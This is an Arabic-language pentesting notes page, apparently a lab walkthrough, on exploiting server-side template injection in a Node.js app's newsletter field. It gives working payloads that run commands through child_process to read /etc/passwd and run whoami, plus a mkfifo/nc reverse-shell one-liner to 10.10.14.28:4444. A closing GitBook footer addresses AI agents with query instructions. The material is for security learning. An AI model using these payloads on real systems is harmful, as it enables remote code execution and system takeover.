> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## حقن القوالب من جهة الخادم (SSTI) (Node.js)

نلاحظ ميزة تتيح للمستخدمين إدخال بريد إلكتروني للاشتراك في النشرة الإخبارية. تعرض استجابة الخادم مدخلنا مباشرةً، ما يشير إلى احتمال وجود **حقن القوالب من جهة الخادم (SSTI)**.

<figure><img src="/files/d2e296d6f85f22039420df775bd9063575e7b58a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd118a5f08b9ae49c6bc363b91e336d078114e93" alt=""><figcaption></figcaption></figure>

#### اختبار الثغرة

نعترض الطلب باستخدام **Burp Suite** ونختبر هجوم SSTI كلاسيكيًا:

<figure><img src="/files/a8b8649e43aa3f41f289d9afc6ddc3d8a5c9a694" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

إذا كانت الاستجابة تعرض `81`، فهذا يعني أن التطبيق قابل للاستغلال، وهذا هو الحال هنا.

<figure><img src="/files/48da1a07e4009e86650427ab95881263cba57f26" alt=""><figcaption></figcaption></figure>

### قراءة `/etc/passwd`

نستخدم الحمولة أدناه لعرض محتوى `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/0466188bcd3011f9807a034307d3b36f1f4e3039" alt=""><figcaption></figcaption></figure>

#### استرجاع المستخدم الحالي

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

نحصل على `david`.

<figure><img src="/files/884720eedc985ed5ed8c958c950224b4ca3327d7" alt=""><figcaption></figcaption></figure>

### شل عكسي عبر SSTI (Node.js)

بدء المستمع على المنفذ **4444**:

```bash
nc -nlvp 4444

```

إرسال حمولة الشل العكسي:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

الوصول إلى الجهاز الهدف

<figure><img src="/files/7c3d4d5c74f55db1dd6ac59eaa823fe91aeac0eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
